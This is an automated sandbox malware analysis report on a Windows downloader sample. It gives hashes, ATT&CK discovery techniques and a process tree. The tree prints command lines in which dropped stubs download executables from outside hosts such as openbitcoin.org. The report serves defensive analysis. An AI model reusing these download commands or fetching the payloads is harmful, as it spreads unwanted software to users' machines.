814e342c2b5e5c54fdfbfdbad19ed55c3d2d1f92c1fab58c9b53a8ab21ea16ca

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
30/09/2024, 14:32

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General

Target

01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe
Size

492KB
MD5

01d36e66a476a185975d5affacdc00e3
SHA1

498f73967a4f1be98e645659ef23674e4bd2cbae
SHA256

814e342c2b5e5c54fdfbfdbad19ed55c3d2d1f92c1fab58c9b53a8ab21ea16ca
SHA512

5c0aa3b1ed2410cc06e193e5f756a6a5310a568013bc226237ff1fb189d6b6b73390dcccbee81d05063681d7b37eff024c85a483a57107f99ef890db18b8a798
SSDEEP

6144:Puk4fqjhMxNvOb+qz0gJm7e7Trb0H92GRHQqF6jtY03ZgLpp6TURimpBwXVUTL7T:54fwA6peEUBwXVwM9vylzdYvH7AwC

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
2896	downloaderSTUB.exe
3960	downloaderSTUB.exe
3620	downloaderSTUB.exe
996	downloaderDDLR.exe
3316	downloaderOFFER0.exe
3360	preinstaller.exe

Loads dropped DLL 25 IoCs

pid	Process
3960	downloaderSTUB.exe
3620	downloaderSTUB.exe
996	downloaderDDLR.exe
3316	downloaderOFFER0.exe
2896	downloaderSTUB.exe
3960	downloaderSTUB.exe
3620	downloaderSTUB.exe
996	downloaderDDLR.exe
3316	downloaderOFFER0.exe
2896	downloaderSTUB.exe
3960	downloaderSTUB.exe
996	downloaderDDLR.exe
3620	downloaderSTUB.exe
3316	downloaderOFFER0.exe
2896	downloaderSTUB.exe
3960	downloaderSTUB.exe
3620	downloaderSTUB.exe
996	downloaderDDLR.exe
3316	downloaderOFFER0.exe
2896	downloaderSTUB.exe
3960	downloaderSTUB.exe
996	downloaderDDLR.exe
3620	downloaderSTUB.exe
3316	downloaderOFFER0.exe
2896	downloaderSTUB.exe

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderSTUB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderDDLR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderOFFER0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	preinstaller.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderSTUB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderSTUB.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x0007000000023474-4.dat	nsis_installer_1
behavioral2/files/0x0007000000023474-4.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2288 wrote to memory of 2896	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	82
PID 2288 wrote to memory of 2896	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	82
PID 2288 wrote to memory of 2896	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	82
PID 2288 wrote to memory of 3960	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	83
PID 2288 wrote to memory of 3960	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	83
PID 2288 wrote to memory of 3960	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	83
PID 2288 wrote to memory of 3620	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	84
PID 2288 wrote to memory of 3620	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	84
PID 2288 wrote to memory of 3620	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	84
PID 2288 wrote to memory of 996	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	85
PID 2288 wrote to memory of 996	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	85
PID 2288 wrote to memory of 996	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	85
PID 2288 wrote to memory of 3316	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	86
PID 2288 wrote to memory of 3316	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	86
PID 2288 wrote to memory of 3316	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	86
PID 2288 wrote to memory of 3360	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	87
PID 2288 wrote to memory of 3360	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	87
PID 2288 wrote to memory of 3360	2288	01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe	87

C:\Users\Admin\AppData\Local\Temp\01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\01d36e66a476a185975d5affacdc00e3_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2288
- C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2896
- C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3960
- C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3620
- C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:996
- C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3316
- C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\preinstaller.exe 0 "joker parkplatz rar" "Download"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3360

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\downloaderOFFER2.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\1a8bd13c6d545b72ddc4b131fa822173\preinstaller.exe

Filesize
213KB

MD5
06baef00ae0f0e42fc5fea24fc4eac42

SHA1
9161574590f09cfe4c24498827386ed57f2e8c58

SHA256
19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

SHA512
29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsf8648.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/2288-45-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/3360-46-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download